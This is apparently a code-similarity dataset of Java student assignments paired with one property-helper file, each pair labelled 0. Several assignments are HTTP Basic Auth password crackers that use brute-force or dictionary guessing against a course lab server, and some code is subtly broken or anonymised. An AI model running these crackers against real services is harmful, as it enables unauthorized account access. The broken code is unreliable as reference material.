F1
string
F2
string
label
int64
text_1
string
text_2
string
203.java
107.java
0
import java.net.*; import java.io.*; import java.util.*; public class MailClient { private String host; private int port; private String message; public MailClient( String host, int port, Vector lineNumbers) { this.host = host; this.port = port; StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "); for( int i = 0; i < lineNumbers.size(); i++) { buf.append( lineNumbers.elementAt( i)); buf.append(", "); } message = buf.toString(); } public void connect() { try { Socket client = new Socket( host, port); handleConnection( client); } catch ( UnknownHostException uhe) { System.out.println("Unknown host: " + host); uhe.printStackTrace(); } catch (IOException ioe) { System.out.println("IOException: " + ioe); ioe.printStackTrace(); } } private void handleConnection(Socket client) { try { PrintWriter out = new PrintWriter( client.getOutputStream(), true); InputStream in = client.getInputStream(); byte[] response = new byte[1000]; in.send( response); out.println("HELO "+host); int numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("MAIL FROM: [email protected]."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("RCPT : @cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("DATA"); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println( message+"\n."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("QUIT"); client.connect(); } catch(IOException ioe) { System.out.println("Couldn't make connection:" + ioe); } } public static void main( String[] args) { Vector v = new Vector(); v.add( new Integer(5)); v.add( new Integer(12)); MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v); c.connect(); } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
095.java
107.java
0
import java.net.*; import java.io.*; import java.util.*; import java.text.*; public class WatchDog extends Thread { private HttpURLConnection httpUrlCon; private URL stdurl; private String spec = "http://www.cs.rmit.edu./students/"; private String command=""; private String firstModified =""; private String secModified = ""; private String fileModified = ""; private BufferedReader instd; private Vector firstVector; private Vector secondVector; private Vector tmpVector; private int intervalTime = 24*60*60*1000; private boolean bstop = false; private int count = 0; private int totalDuration = 30*24*60*60*1000; private String yourSMTPserver = "mail.rmit.edu."; private int smtpPort = 25; private String mailFrom = "@yallara.cs.rmit.edu."; private String mailTo = "@.rmit.edu."; private String subject = ""; private String message =""; private Socket socketsmtp; private BufferedReader emailin; private PrintStream emailout; private String reply = ""; public WatchDog(){ firstVector = new Vector(); secondVector = new Vector(); tmpVector = new Vector(); } public void FirstRead(){ readContent(firstVector); firstModified = fileModified; } public void run(){ while(!bstop){ readPageAgain(); } } public void readPageAgain(){ try{ Thread.sleep(intervalTime); }catch(InterruptedException e){e.printStackTrace();} count += intervalTime; readContent(secondVector); secModified = fileModified; if(firstModified.equals(secModified)){ if(count == totalDuration) bstop =true; message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!"; subject = " is change the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch (SMTPException e){} } else if(!(firstModified.equals(secModified))){ if(count == totalDuration) bstop = true; message = getChangeMessage(); subject = " some changes the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch(SMTPException e){} firstModified = secModified; firstVector.clear(); for(int i=0; i<secondVector.size(); i++){ firstVector.add((String)secondVector.get(i)); } } } public void readContent(Vector avect){ String fmod =""; if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){ fmod = "File last modified :"; command = "lynx -nolist -dump " + spec; } else { fmod = "Last-Modified:"; command ="lynx -mime_header -dump " +spec; } try{ Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); instd = new BufferedReader(new InputStreamReader(p.getInputStream())); String str=null; avect.clear(); while((str = instd.readLine())!= null){ avect.add(str); if(str.indexOf(fmod) !=-1){ fileModified = str; } } instd.print(); }catch(MalformedURLException e){System.out.println(e.getMessage());} catch(IOException e1){System.out.println(e1.getMessage());} } public String getChangeMessage(){ String mssg = ""; for(int i =0; i<secondVector.size();i++){ tmpVector.add((String)secondVector.get(i)); } for(int i=0; i<firstVector.size(); i++){ String line = (String)(firstVector.get(i)); int same = 0; for(int j=0; j<tmpVector.size(); j++){ String newline = (String)(tmpVector.get(j)); if(line.equals(newline)){ if(same == 0){ tmpVector.remove(j); same++; } } } } for(int i = 0; i<secondVector.size(); i++){ String line = (String)(secondVector.get(i)); int same =0; for(int j=0; j<firstVector.size(); j++){ String newline = (String)(firstVector.get(j)); if(line.equals(newline)){ if(same == 0){ firstVector.remove(j); same++; } } } } if(firstVector.size()!=0){ mssg += "The following lines removed in the latest modified web : \r\n"; for(int i=0; i<firstVector.size(); i++){ mssg +=(String)firstVector.get(i) + "\r\n"; } } if(tmpVector.size()!=0){ mssg += "The following lines new ones in the latest modified web : \r\n"; for(int i=0; i<tmpVector.size(); i++){ mssg += (String)tmpVector.get(i) + "\r\n"; } } return mssg; } public void setMonitorURL(String url){ spec = url; } public void setMonitorDuration(int t){ totalDuration = t*60*60*1000; } public void setMonitorInterval(int intervalMinutes){ intervalTime = intervalMinutes*60*1000; } public void setSMTPServer(String server){ yourSMTPserver = server; } public void setSMTPPort(int port){ smtpPort = port; } public void setMailFrom(String mfrom){ mailFrom = mfrom; } public void setMailTo(String mto){ mailTo = mto; } public String getMonitorURL(){ return spec; } public getDuration(){ return totalDuration; } public getInterval(){ return intervalTime; } public String getSMTPServer(){ return yourSMTPserver; } public int getPortnumber(){ return smtpPort; } public String getMailFrom(){ return mailFrom; } public String getMailTo(){ return mailTo; } public String getServerReply() { return reply; } public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{ connect(); doHail(mfrom, mto); doSendMessage(mfrom, mto, subject, msg); doQuit(); } public void connect() throws SMTPException { try { socketsmtp = new Socket(yourSMTPserver, smtpPort); emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream())); emailout = new PrintStream(socketsmtp.getOutputStream()); reply = emailin.readLine(); if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {} else { throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort); } }catch(Exception e) { throw new SMTPException(e.getMessage());} } public void doHail(String mfrom, String mto) throws SMTPException { if (doCommand("HELO " + yourSMTPserver)) throw new SMTPException("HELO command Error."); if (doCommand("MAIL FROM: " + mfrom)) throw new SMTPException("MAIL command Error."); if (doCommand("RCPT : " + mto)) throw new SMTPException("RCPT command Error."); } public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException { Date date = new Date(); Locale locale = new Locale("",""); String pattern = "hh:mm: a',' dd-MMM-yyyy"; SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale); formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne")); String sendDate = formatter.format(date); if (doCommand("DATA")) throw new SMTPException("DATA command Error."); String header = "From: " + mfrom + "\r\n"; header += ": " + mto + "\r\n"; header += "Subject: " + subject + "\r\n"; header += "Date: " + sendDate+ "\r\n\r\n"; if (doCommand(header + msg + "\r\n.")) throw new SMTPException("Mail Transmission Error."); } public boolean doCommand(String commd) throws SMTPException { try { emailout.print(commd + "\r\n"); reply = emailin.readLine(); if (reply.charAt(0) == '4' || reply.charAt(0) == '5') return true; else return false; }catch(Exception e) {throw new SMTPException(e.getMessage());} } public void doQuit() throws SMTPException { try { if (doCommand("Quit")) throw new SMTPException("QUIT Command Error"); emailin.put(); emailout.flush(); emailout.send(); socketsmtp.put(); }catch(Exception e) { } } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
084.java
107.java
0
import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i<CHARACTERS.length && !parent.solved; i++) { for(int j=0; j<CHARACTERS.length && !parent.solved; j++) { for(int k=0; k<CHARACTERS.length && !parent.solved; k++) { if((x % threads) == threadno) { response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]); if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")"); } x++; } } } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { BruteForce parent; BruteForce[] attackslaves = new BruteForce[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: BruteForce <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = -1; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
115.java
107.java
0
import java.net.*; import java.util.*; import java.io.*; public class PasswordTest { private String strURL; private String strUsername; private String strPassword; public PasswordTest(String url, String username, String password) { strURL = url; strUsername = username; strPassword = password; } boolean func() { boolean result = false; Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL(strURL); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { result = true; } } catch (IOException e) {} return result; } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = strUsername; String password = strPassword; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
233.java
107.java
0
import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes("rm index.*"); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"|"+ hash2); BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String line=" " ; String line1=" " ; String line2=" "; String line3=" "; String[] cad = new String[10]; executes("./.sh"); int i=0; while ((line = buf.readLine()) != null) { line1="http://www.cs.rmit.edu./students/images"+line; if (i==1) line2="http://www.cs.rmit.edu./students/images"+line; if (i==2) line3="http://www.cs.rmit.edu./students/images"+line; i++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+line1); executes("wget "+line2); executes("wget "+line3); String hash3 = md5sum("index.html.2"); String hash4 = md5sum("index.html.3"); String hash5 = md5sum("index.html.4"); BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String linee=" " ; String linee1=" " ; String linee2=" "; String linee3=" "; executes("./ip1.sh"); int j=0; while ((linee = buf2.readLine()) != null) { linee1="http://www.cs.rmit.edu./students/images"+linee; if (j==1) linee2="http://www.cs.rmit.edu./students/images"+linee; if (j==2) linee3="http://www.cs.rmit.edu./students/images"+linee; j++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+linee1); executes("wget "+linee2); executes("wget "+linee3); String hash6 = md5sum("index.html.5"); String hash7 = md5sum("index.html.6"); String hash8 = md5sum("index.html.7"); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes("./difference.sh"); executes("./mail.sh"); } else { if (pict || pict2 || pict3) { executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail2.sh"); } executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail.sh"); executes("./reorder.sh"); executes("rm index.html"); executes("cp index.html.1 index.html"); executes("rm index.html.1"); executes("sleep 5"); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= " "; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash", "-c", "md5sum "+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
086.java
107.java
0
import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; int attempts = 0; exit: for (int i=0;i<pwdArray.length;i++) { for (int j=0;j<pwdArray.length;j++) { for (int k=0;k<pwdArray.length;k++) { if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue; if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue; inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k]; attempts++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempts); break exit; } inp[2] = ""; } } } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char pwdArray [] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ' }; private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
153.java
107.java
0
import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""; String auth_data; String server_res_code; String required_server_res_code="200"; int cntr=0; try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
150.java
107.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Correct Format Filename username e.g<>"); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream ("/usr/share/lib/dict/words"); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("The Number Of Attempts : "+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("Total Time in secs..."+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println("Error in closing input file:\n" + e.toString()); } return "Password could not found"; } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
194.java
107.java
0
import java.io.*; import java.util.*; class BruteForce{ public static void main(String args[]){ String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; z = System.currentTimeMillis(); int at=0; for(int i=0;i<password.length;i++){ for(int j=0;j<password.length;j++){ for(int k=0;k<password.length;k++){ pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]); try { System.out.println("Trying crack using: "+pass); at++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { finish = System.currentTimeMillis(); float time = finish - t; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } } catch (IOException e) { System.out.println("Exception happened"); e.printStackTrace(); System.exit(-1); } } } } } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
082.java
107.java
0
import java.net.*; import java.util.*; import java.io.*; public class BruteForce { URL url; URLConnection uc; String username, password, encoding; int pretime, posttime; String c ; public BruteForce(){ pretime = new Date().getTime(); try{ url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); }catch(MalformedURLException e){ e.printStackTrace(); } username = ""; } public void checkPassword(char[] pw){ try{ password = new String(pw); encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes()); uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); bf = uc.getHeaderField(null); System.out.println(password); if(bf.equals("HTTP/1.1 200 OK")){ posttime = new Date().getTime(); diff = posttime - pretime; System.out.println(username+":"+password); System.out.println(); System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds"); System.exit(0); } }catch(MalformedURLException e){ e.printStackTrace(); }catch(IOException ioe){ ioe.printStackTrace(); } } public static void main (String[] args){ BruteForce bf = new BruteForce(); char i, j, k; for(i='a'; i<='z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='Z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='a'; j<='z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='a'; i<='z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='z'; j++){ if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){ continue; } char[] pw = {i, j}; bf.checkPassword(pw); } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } char[] pw = {i}; bf.checkPassword(pw); } } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
176.java
107.java
0
